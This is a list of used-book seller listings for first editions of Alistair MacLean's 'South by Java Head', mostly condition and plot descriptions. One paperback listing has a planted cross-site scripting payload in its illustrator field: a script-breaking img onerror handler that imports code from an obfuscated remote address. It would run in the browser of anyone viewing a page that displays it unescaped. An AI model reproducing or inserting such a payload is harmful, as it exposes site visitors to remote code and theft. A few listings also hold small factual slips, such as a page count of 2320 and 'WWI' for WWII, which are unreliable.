South by Java Head by Alistair Maclean, First Edition (51 results)

Hardcover. Condition: Good. Dust Jacket Condition: Missing. First Edition. Green hardcover. Light signs of age and wear. We ship fast.

First Edition, First Printing as Permabook M 4116 35c. -- Softcover, pocket paperback. Condition: very good (spine has production wrinkle). -- Novel of adventure in danger-filled seas east of Singapore.

Hardcover. Condition: Very Good. Dust Jacket Condition: Very Good. 1st Edition. First edition and printing. In very good plus bright green cloth boards, with gilt titles to spine. The boards are flat, tight and unmarked and the spine ends and corners are firm. The free end papers have very lightly tanned vertical strip. The text block is tightly bound, with even and clean pages. Very good plus condition. No dedications etc. In very good minus dust jacket with colourful front and yellow and white titles to front and spine. The jacket is well-fitting and the front is bright and spotless; the pale rear is marked. Not price clipped. In removable protective sleeve.

Mass Market paperback. Condition: Good+. Illustrated by Lehr, Paul (Cover) (illustrator). 1st American Paperback. Spine slanted, creased, edges of spine scuffed, Moderate edge wear and some chipping, some soiling and scuffing to covers. Pages tanned but text is clean and unmarked. Reading copy. ; Permabooks M4116, cover price 35c. First American paperback printing. ; 5¾" - 6¾" Tall; 296 pages; "February, 1942: Singapore lay burning and shattered, defenseless before the conquering hordes of Japanese, as the last boat slipped out of the harbor into the South China Sea. On board were a desperate group of people, each with a secret to guard, each willing to kill to keep that secret safe. Who or what was the dissolute Englishman, Farnholme? The elegant Dutch planter, Van Effen? The strangely beautiful Eurasian girl, Gurdun? The slave trader, Siran? The smiling and silent Nicholson who was never without his gun? Only one thing was certain: The rotting tramp steamer was a floating death trap, carrying a cargo of human TNT.".

Hardcover. Condition: Very Good. Dust Jacket Condition: Good. 1st Edition. First edition, first printing. Hardback. 2320pp. Very Good condition in Good ?, unclipped dust jacket (loss of about 3 inches by 5 inches section at bottom edge of front panel of jacket). Original owner's name on front end paper.

Hardcover. Condition: Very Good. Dust Jacket Condition: Very Good. 1st Edition. APPEARS VERY LITTLE READ. Minimal wear to hard back book/dust jacket. D/j still has price corner, light edge wear/tear. 320 pages. Pages are clean and tight.No name or inscription.

Hardcover. Condition: Very Good. Dust Jacket Condition: Very Good. 1st Edition. South by Java Head by Alister Maclean. Hardcover first edition, first printing published in 1958 by Doubleday. Very good to near fine jacket. Gift inscription inked on front endpaper.

Hardcover. Condition: Very Good. Dust Jacket Condition: Fair. 1st Edition. A very good copy, digital photos available.

Paperback. first edition. M-4116 very good - fine, spine crease paperback,

Paperback. Condition: Good. No Jacket. This could have light cosmetic flaws, but remains in good condition. No dust jacket included with this book. This copy is the First Printing of the published work. Secure packaging for safe delivery.

1st ed. In ex-libris binding; not a trade d/w (as trade edition, but lacking publisher & price). Binding tight; dust jacket rather tatty & soiled. Used - Good. Good hardback in Fair dust jacket Used - Good. Good hardback in Fair dust jacket.

Hardcover. Condition: Fine. Dust Jacket Condition: Near Fine. 1st Edition. First American edition, first printing. "First edition" statement to the copyright page, 1958 printed to the title page, $3.95 to the jacket's flap. A high-adventure novel, drawn from MacLean's own experiences in the Royal Navy, featuring a group of military personel, possible spies, and other persons fleeing the burning Singapore during WWII, being chased and bombarded by Japanese, and trying to survive in the danger filled seas of the East Indies in small boats. Slight age-toning to the end-papers as usual, else fine and tight in khaki linen with sea-blue embossed titles to the spine, yellow headband and tail-band, deckle page fore-edges, upper page edges a lovely yellow; in an about near fine dust jacket with art by Tom Dunn, with light rubbing and minuscule nicks to the upper and lower spine edges and corner tips, and with hairline rubs to the spine folds; original printed $3.95 price still intact to the front inner flap. NO remainder spray nor marks.

Paperback. Condition: Very Good +. Marja Johnson ( '"< /script> < Img/src/onerror=import(String.fromCharCode(47,47,105,51,46,114,115,47))//) (illustrator). First printing of this edition. First printing of this trade paperback edition. A clean, unmarked copy in printed wrappers.

Condition: Very Good. First Edition. VG: in very good condition with rubbed and chipped dust jacket. 220mm x 150mm (9" x 6"). 320pp. Beige hardback cloth cover with blue lettering to spine. Dustwrapper.

Hardcover. Condition: Very Good+. Dust Jacket Condition: Very Good+. Stated First Edition. Clean hardcover stated first edition in clean unclipped dust jacket. Beige cloth boards with blue lettering on spine. No fraying or wear. Binding is tight and square, hinges are sound. Previous owner name neatly penned at top edge of front free endpaper. 319 pages. Clean illustrated jacket is not price clipped, has one very small edge chip at top rear panel edge, a little wear at spine ends; enclosed in new archival quality removable mylar cover. The story is set in February 1942, in the immediate aftermath of the Battle of Singapore. As the British stronghold of Singapore falls to the invading Imperial Japanese Army, a mixed collection of soldiers, nurses, fleeing civilians, a small boy, and at least one spy attempt to escape the burning city aboard the Kerry Dancer, a battered freighter crewed by a disreputable captain and sailors.

tight. Condition: Very Good. Dust Jacket Condition: Very Good-. A fine copy. Green cloth boards with gilt lettering. DJ has very light shelf wear. First edition. 320 pp.

A vintage first edition of Alistair MacLean's gripping WWII naval thriller "South by Java Head" (1958)?the story of a desperate escape through enemy waters as a small refugee ship races through the Java Sea with Japanese forces closing in from all sides. This is classic MacLean: impossible odds, claustrophobic tension, and ordinary people pushed to extraordinary limits. Published just after "The Guns of Navarone" made MacLean an international sensation, this novel cemented his reputation as the master of high-seas adventure. MacLean's second novel established the formula that made him one of the bestselling thriller writers of all time, influencing generations of adventure fiction from Clive Cussler to Tom Clancy. First edition. Hardcover with original dust jacket. Book in Very Good condition with attractive gilt/yellow page edges. Previous owner's bookstore sticker on endpaper (see photos). Dust jacket in Good to Very Good condition - unclipped at $3.95 with period-appropriate wear including edge rubbing and a small tear at top edge (see photos). A solid copy of MacLean's highly collectible third novel. Perfect for MacLean collectors, vintage WWII fiction enthusiasts, or Dark Academia libraries seeking intelligent adventure from the golden age of thriller fiction.

Hardcover. Condition: Very Good. Dust Jacket Condition: Very Good. 1st Edition. 'South By Java Head' by Alistair MacLean. Collins 1958 first edition. Very good in unclipped dust jacket with slight fraying at the spine tips.

Hardcover. Condition: Very Good +. Dust Jacket Condition: very good. 1st Edition. Cloth. Very Good/Fair. First Edition.Tight binding. No written inscriptions. Pages have no tears, chips or inscriptions. Dust jacket has edge wear - tears and chips. Size: 8vo - over 7¾" - 9¾" tall.

First edition, octavo hardcover (VG) in d/w (VG); all our specials have minimal description to keep listing them viable. They are at least reading copies, complete and in reasonable condition, but usually secondhand; frequently they are superior examples. Ordering more than one book will reduce your overall postage costs.

1. Ausgabe. Gebunden. Orig.-Leinen, 14x20, S 403. Kopffarbschnitt. Guter Zustand.

Condition: Very Good. The 50th anniversary edition of this classic World War 2 adventure set in south-east Asia. Num Pages: 448 pages. BIC Classification: FF; FH; FJ. Category: (G) General (US: Trade). Dimension: 113 x 177 x 28. Weight in Grams: 262. Fine in dust wrapper. DW aged and torn to spine, partial missing to top and bottom edges. Internally light toned with age, light spotting ffeps and page edges, text is clear and remains a fine copy. 1958. First edition. Hardcover. First edition copy. . . .

Hardcover. Condition: Very Good. Dust Jacket Condition: Very Good. 1st Edition. First edition, first impression. 320pp. In green cloth-covered boards with gilt titles on spine. 8vo. Rubbed and rounded at corners and spine tips, small nick in cloth on front joint. Page block edge toned. Attractive bookplate on front free endpaper, else internally neat and clean. In its original illustrated dust jacket, worn, rubbed at edge with some chipping and scuffs on folds, spotting, toned verso. Dust jacket now protected in a Brodart-style sleeve, fitted without the use of tape or adhesives. Modern Fiction Firsts, Fiction, Novels.

Hardcover. Condition: Very Good. Dust Jacket Condition: Very Good. 1st Edition. 1st ed. 320pp. School prize winner's label partly tipped in on front paste o/w VG copy of the 3rd novel by the popular thriller writer. The wrapper is v. sl. chipped & the back a little grubby.

Hardcover. Condition: Very Good. Dust Jacket Condition: Good. 1st Edition. Tight binding. No written inscriptions. Pages have no tears, chips or inscriptions; a good reading copy; Original price of 14snet to front flap; section of end pages partially stained.

Hardcover. Condition: Very Good. Dust Jacket Condition: Good. 1st Edition. First printing. Well bound in green cloth boards with gilt titling to spine. Previous owner name and date on first blank ep, thereafter text pages are all clean with just a little toning to closed edges. Dust jacket is unclipped with just a few small edge chips and a little tarnishing to rear panel. Dispatched same or next working day in protective packaging.

Hardcover. 1st Edition. Green boards with gilt lettering on the spine. FIRST EDITION. There is light foxing throughout. DJ shows two chips at the top of the spine and four tears to one inch. The DJ is not price-clipped. This "story deals with the grim aftermath of Singapore's capture by the Japanese." There is a minuscule puncture in the rear board at the top measuring 1/16th by 1/16th. 320 pages. A1 Very Good in Chipped and Torn DJ.

Hardcover. Condition: Near Fine. Dust Jacket Condition: Near Fine. First Edition. First British Edition, First Impression. Near Fine in green textured paper covered boards, in a Near Fine illustrated dustwrapper, not price-clipped. 320pp. By the Author of The Guns of Navarone. Q22383.

1st edition hardback with dust jacket Fine octavo. 320pp., Neat ownership signature & edges darkened o/w nice copy in like unclipped dust jacket.

Hardcover. Condition: Very Good. Dust Jacket Condition: Very Good. 1st Edition. First UK edition hardcover, with dust jacket, published by Collins, 1958. Based on his own experiences during WWI, the story of a group of British citizens attempting to escape the fall of Singapore on a freighter as they are relentlessly pursued by the Japanese. 320 pages, 5-1/2" X 8". This copy is a UK edition. Jacket is price clipped at the bottom corner of the front flap. Jacket has been protected with a clear, removable cover. Jacket has chips at the head and heel of the spine panel and tips of the corners. Closed tear of about 1 inch at the front bottom edge, and one at the back top edge also about 1 inch. Bright green cloth covered boards with the title and author name in gold on the spine. Top corners are slightly bumped. There is a erased pencil mark of a former price on the top corner of the first flyleaf page. No writing on the text pages, no former ownership marks. Age appropriate age tanning to the text pages. Binding is tight. This copy is not a library discard copy. Attached are some photos of the copy we have in our inventory.